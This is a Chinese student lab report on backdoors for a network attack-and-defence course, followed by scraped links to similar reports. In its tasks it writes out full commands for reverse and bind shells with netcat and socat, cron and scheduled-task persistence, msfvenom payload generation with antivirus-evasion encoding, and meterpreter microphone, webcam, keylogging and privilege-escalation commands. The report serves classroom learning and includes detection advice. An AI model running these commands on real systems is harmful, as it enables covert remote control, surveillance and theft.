实验内容

1、使用netcat获取主机操作Shell,cron启动

2、使用Socat获取主机操作Shell, 任务计划启动

3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权


基础问题回答

  • 问:例举你能想到的一个后门进入到你系统中的可能方式?

    • 网页挂马
    • 通过U盘、邮件或盗版软件传播
    • 编译器或操作系统中存在的
  • 问:例举你知道的后门如何启动起来(win及linux)的方式?
    • Windows:开机自启动、修改注册表项、诱导用户双击运行
    • Linux:利用cronta将后门设为定时启动
  • 问:Meterpreter有哪些给你映像深刻的功能?
    • 获取被控主机的录音、录像、截图、键盘输入记录
    • 几乎可以肆意妄为
  • 问:如何发现自己有系统有没有被安装后门?
    • 开启防火墙,查看开启的端口及对应的进程
    • 安装杀毒软件,实时防护,并定期对电脑进行检查
    • 查看任务计划程序、开机自启动项、注册表项中是否有可疑程序

常用后门工具

Netcat

Netcat是一个底层工具,进行基本的TCP UDP数据收发,主要用于调试领域、传输领域甚至黑客攻击领域。

windows 获取 linux 的shell

1、在Windows下使用ipconfig查看本机IP为192.168.1.239

2、使用ncat.exe程序监听本机的5215端口ncat.exe -l -p 5215

3、在Kali环境下,使用nc 192.168.1.239 5215 -e /bin/sh指令反向连接Windows主机的5215端口

4、成功获得Kali的shell,可运行任何指令,如ls

linux 获取 winsdows 的shell

1、在Kali环境中使用ifconfig查看IP为192.168.116.128

2、使用nc指令监听5215端口nc -l -p 5215

3、在Windows下,使用ncat.exe -e cmd.exe 192.168.116.128 5215指令反向连接Kali主机的5215端口

4、Kali下可以看到Windows的命令提示

使用nc传输数据

1、Windows下使用ncat.exe -l 5215指令监听5215端口

2、kali使用nc 192.168.1.239 5215指令反弹连接到Windows的5215端口

3、连接建立成功,双方可以相互传输数据

使用nc传文件

1、Windows下监听5215端口,并把收到的数据保存到5215.txt中,ncat.exe -l 5215 > 5215.txt

2、kali使用nc 192.168.1.239 5215 < 5215.in反弹连接到Windows的5215端口

3、连接建立成功,Win可以收到kali发来的文件

Socat

  • socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

MSFmeterpreter

  • 这是一个生成后门程序的平台,把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
  • 参数说明
    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

实验内容

任务一:使用netcat获取主机操作Shell,cron启动

这里将wwindows作为攻击机,kali作为被攻击机

1、Windows中使用ncat.exe -l 5215监听5215端口

2、在Kali中,使用crontab -e指令编辑一条定时任务,选择编辑器时选择"3"

3、在底行插入43 * * * * /bin/netcat 192.168.1.239 5215 -e /bin/sh(意为在每个小时的第43分钟反向连接Windows的5215端口)

4、:wq保存退出配置即生效,可通过crontab -l查看

5、在系统时间到第43分时,windows获得kali shell

任务二:使用socat获取主机操作Shell, 任务计划启动

1、在Wiondws中搜索任务计划程序,在弹出的窗口右侧选择创建任务

2、填写任务名称20165215后,选择触发器-新建,设为工作站锁定时

3、选择新建,再程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5215 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5215,同时把cmd.exe的stderr重定向到stdout上,点击确定。

4、在列表中右键选中刚刚创建的任务,点击运行

5、在kali中输入socat - tcp:192.168.1.239:5215(IP为windows的IP),可以发现已经成功获得一个cmd shell

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1、在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 -f exe > 20165215_backdoor.exe(IP为kali的IP)生成后门程序20165215_backdoor.exe

2、在Windows中使用ncat.exe -lv 5215 > 20165215_backdoor.exe使被控主机就进入接收文件模式,其中-lv是显示当前的连接状态

3、kali中输入nc 192.168.1.239 5215 < 20165215_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上

4、在kali中新打开一个终端,使用msfconsole进入msf控制台,设置各项参数,执行监听

5、输入use exploit/multi/handler使用监听模块,设置payload

6、输入set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

7、输入set LHOST 192.168.116.128(此处是Kali的IP),和生成后门程序时指定的IP相同

8、输入set LPORT 5215,同样要使用相同的端口

9、输入show options进行查看,可以看到相应的ip地址和端口号已经变成我们所设置的

10、输入exploit开始监听

11、在windows端运行后门程序20165215_backdoor.exe

12、此时kali获得Windows主机的连接,并且得到了远程控制的shell

任务四:使用meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

重复任务三的操作直至exploit

1、使用record_mic获取主机音频

2、使用webcam_snap获取主机摄像头

3、使用screenshot进行截屏

4、使用keyscan_start指令开始记录击键的过程,使用keyscan_dump指令读取击键的记录

5、使用getuid指令查看当前用户,使用getsystem指令进行提权


实验过程中遇到的问题

  • 执行20165215_backdoor.exe程序时出现如下错误:

  • 解决方法:关闭杀毒软件和防火墙后重新运行

实验总结与体会

这次的实验内容很有趣,使我们对后门的了解更加深入,也更深切地体会到netcat、socat和MSFmeterpreter等后门工具的强大。懂得攻击方法后,在平常使用中,可以很好地提高我们的防范意识,比如我早就机智地将摄像头贴上了小图标~

2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165215的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. Laravel安装redis扩展

    Laravel安装redis扩展 1.使用命令行,执行(当然要先安装composer) composer require predis/predis 2.执行完就安装好了,redis相关配置可以到.e ...

  2. [LeetCode] Design Circular Deque 设计环形双向队列

    Design your implementation of the circular double-ended queue (deque). Your implementation should su ...

  3. aspose 生成word 简单的文档操作

    package aspose.com.word; import com.aspose.words.Document;import com.aspose.words.DocumentBuilder; p ...

  4. python语法_文件操作

    牢记“”“能调用方法的一定是对象”“” 文件的操作流程, 1 建立文件(打开文件)open('filename','模式').read() [这一步其实就是创建对象] 2 通过句柄进行操作 3 关闭o ...

  5. 深度好文 | 在阿里做了5年技术Leader,我总结出了这些套路!

    导读:阿里巴巴高级技术专家云狄将为大家从管理的角度分享技术TL的核心职责,这其中包括团队建设.团队管理.团队文化.沟通与辅导.招聘与解雇等,希望与大家共同探讨.交流. 背景 互联网公司的技术团队管理通 ...

  6. 利用GCD 中的 dispatch_source_timer 给tableViewCell添加动态刷新的计时/倒计时功能

    1.思路一(失败) 在设置好cell 里的内容之后在每个cell 返回时调用定时器事件,更新cell 内容,然后刷新整个表格. - (void)didadida:(UITableViewCell *) ...

  7. Web开发——jQuery进阶

    参考: 参考:http://www.ruanyifeng.com/blog/2012/12/asynchronous%EF%BC%BFjavascript.html 参考:Asynchronous J ...

  8. Autohotkey常用命令

    //输入密码#1::send test1234sleep 600send {enter}return //打开程序; win + t: open total cmd#t::IfWinNotExist ...

  9. poj1164

    #include<iostream> using namespace std; ][]; ][]; int roomnum; int maxroom; int m,n; typedef s ...

  10. Python004-数据处理示例:以某个数据(字段)为基准从数据中获取不同的字段行数

    数据源样式如下所示: 需求: 读取文本,以第一列为基准参考系,每个基准仅输出满足需要条数的数据:不满足,全部输出. 比如,基准为 6236683970000018780,输出条数要求为 5.若文本中含 ...